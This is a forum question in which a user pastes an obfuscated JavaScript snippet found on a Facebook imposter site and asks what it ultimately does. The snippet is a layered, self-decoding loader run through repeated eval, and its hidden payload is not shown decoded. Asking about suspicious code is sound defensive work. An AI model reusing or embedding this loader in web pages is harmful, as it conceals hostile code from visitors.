What does this javascript do of nasty things?
<p>A friend just shared a link to a video on a facebook imposter site.  Viewing the source I found the following interesting Javascript snippet:</p>

<pre><code>&lt;script type="text/javascript"&gt;
//&lt;![CDATA[
&lt;!--
var x="function f(x){var i,o=\"\",l=x.length;for(i=0;i&lt;l;i+=2) {if(i+1&lt;l)o+=" +
"x.charAt(i+1);try{o+=x.charAt(i);}catch(e){}}return o;}f(\"ufcnitnof x({)av" +
" r,i=o\\\"\\\"o,=l.xelgnhtl,o=;lhwli(e.xhcraoCedtAl(1/)3=!84{)rt{y+xx=l;=+;" +
"lc}tahce({)}}of(r=i-l;1&gt;i0=i;--{)+ox=c.ahAr(t)i};erutnro s.buts(r,0lo;)f}\\" +
"\"(5)12\\\\,P\\\"RZEA3X02\\\\\\\\\\\\r7\\\\00\\\\\\\\]M)^97gs5400\\\\\\\\3*" +
"01\\\\\\\\kv7v01\\\\\\\\)iz w|#8 -/-=}v4ptWzYJLU01\\\\0\\\\\\\\\\\\\\\\N\\\\"+
"B^XT@V13\\\\0^\\\\G@EYEXnY\\\\\\\\3{03\\\\\\\\H@VZ0R00\\\\\\\\wi y:;8967452" +
"301Ra77\\\\1P\\\\4+T+2&lt;4523:006\\\\00\\\\03\\\\\\\\30\\\\05\\\\02\\\\\\\\23" +
"\\\\0T\\\\02\\\\0L\\\\35\\\\06\\\\02\\\\\\\\33\\\\07\\\\03\\\\\\\\20\\\\0K\\"+
"\\\\\\t6\\\\01\\\\\\\\02\\\\05\\\\03\\\\\\\\37\\\\02\\\\00\\\\\\\\16\\\\0R\\"+
"\\]X22\\\\03\\\\00\\\\\\\\01\\\\07\\\\01\\\\\\\\QY/Z)1&gt;g,.847%i5&gt;&lt;;9&gt;';#5h0" +
"2\\\\\\\\\\\\u\\\\\\\"*\\\\0&lt;b04c03\\\\\\\\WIcYI^TV4T02\\\\\\\\ti\\\\\\\\[W" +
"21\\\\0F\\\\JF21\\\\0B\\\\Xw0u01\\\\\\\\zIxW03\\\\04\\\\03\\\\\\\\IW1{&lt;!8%(" +
"EJ5f(vv7c17\\\\\\\\.mP/cm&amp;n0uC1-vol35\\\\0S\\\\16\\\\06\\\\01\\\\\\\\35\\\\" +
"04\\\\02\\\\\\\\21\\\\0Y\\\\37\\\\0Z\\\\I[02\\\\05\\\\00\\\\\\\\04\\\\07\\\\"+
"00\\\\\\\\1L0Q01\\\\\\\\30\\\\02\\\\03\\\\\\\\0H00\\\\\\\\13\\\\04\\\\01\\\\"+
"\\\\CX\\\\\\\\\\\\\\\\17\\\\01\\\\00\\\\\\\\-/`rxe05\\\\0c\\\\7oa7aejr!=#!j" +
"(0r~7~t8&amp;3(22\\\\0J\\\\SS2]03\\\\\\\\02\\\\0\\\\\\\\\\\\\\\\[\\\\WY16\\\\0G" +
"\\\\VZJY0Y00\\\\\\\\EXOE10\\\\04\\\\03\\\\\\\\L@FV4Q01\\\\\\\\qS77\\\\1n\\\\"+
"7&lt;z{cqcsvx1Zc&lt;doJ~p0nddk.bov0o03\\\\\\\\ _7F03\\\\\\\\25\\\\01\\\\00\\\\\\\\"+
"03\\\\05\\\\00\\\\\\\\VU6/00\\\\\\\\\\\\t5\\\\02\\\\\\\\1;03\\\\03\\\\00\\\\"+
"\\\\37\\\\06\\\\03\\\\\\\\34\\\\0*\\\\23\\\\05\\\\00\\\\\\\\00\\\\0n\\\\\\\\"+
"\\\\\\\\rr\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\31\\\\0|\\\\01\\\\0a\\"+
"\\)(48v45;!#pmno\\\\m\\\\\\\"7\\\\02\\\\\\\\5802\\\\\\\\yh1d03\\\\\\\\/(,#2" +
"3\\\\0`\\\\RPOH{OTL[S\\\\Z\\\\\\\\q\\\\vs17\\\\0@\\\\XB__\\\\k\\\\\\\\D\\\\" +
"KCLJca=f Bhou{7{I4a/ewf~}a1,fxu{fs_&amp;d?7l00\\\\\\\\\\\\t7\\\\01\\\\\\\\X[C%Q" +
"^32\\\\02\\\\03\\\\\\\\^T7V03\\\\\\\\01\\\\0I\\\\\\\\A\\\\\\\\X\\\\YFV^BJ\\" +
"\\t4\\\\01\\\\\\\\20\\\\01\\\\02\\\\\\\\0?9;-5u}77\\\\1'\\\\h%!7j!\\\\ \\\\" +
"\\\"/\\\\ck%&amp;f**&gt;!'5&amp;/oZZJT[O\\\\\\\\\\\\\\\\PJ]S5@03\\\\\\\\FE0G00\\\\\\\\" +
"01\\\\07\\\\02\\\\\\\\\\\\\\\\\\\\\\\\^_5A02\\\\\\\\0R00\\\\\\\\blK|5G03\\\\"+
"\\\\rz7|17\\\\\\\\vth&amp;77\\\\1f\\\\f;`vxp!|77\\\\1i\\\\ky{ak(gji-on34\\\\00\\"+
"\\03\\\\\\\\37\\\\02\\\\03\\\\\\\\34\\\\0W\\\\17\\\\00\\\\00\\\\\\\\01\\\\0" +
"Z\\\\I[02\\\\05\\\\00\\\\\\\\04\\\\07\\\\00\\\\\\\\EI5^00\\\\\\\\17\\\\01\\" +
"\\03\\\\\\\\07\\\\00\\\\02\\\\\\\\^F6C00\\\\\\\\14\\\\06\\\\01\\\\\\\\16\\\\"+
"0x\\\\`~\\\\|\\\\\\\";\\\\(5?$z1&gt;6$(`&lt;kd#=7-02\\\\\\\\\\\"\\\\\\\\\\\\*5 (i" +
"ev$7G17\\\\\\\\UHT_[]AsTQ34\\\\0E\\\\J^XCDO2N02\\\\\\\\01\\\\07\\\\01\\\\\\" +
"\\HCPKDV=G Bxwusy{5yrzbb-,c&amp;n``~pzq(fjto1c02\\\\\\\\31\\\\0\\\\\\\\(\\\"}fo" +
";n uret}r);+)y+^(i)t(eAodrCha.c(xdeCoarChomfrg.intr=So+7;12%={y+)i+l;i&lt;0;i=" +
"r(foh;gten.l=x,l\\\"\\\\\\\"\\\\o=i,r va){,y(x fontincfu)\\\"\")"            ;
while(x=eval(x));
</code></pre>

<p>It looks like it turns "badc" into "abcd" and then evals again. </p>

<p>Is there a Javascript guru who can see what nastyness this ends up doing?</p>
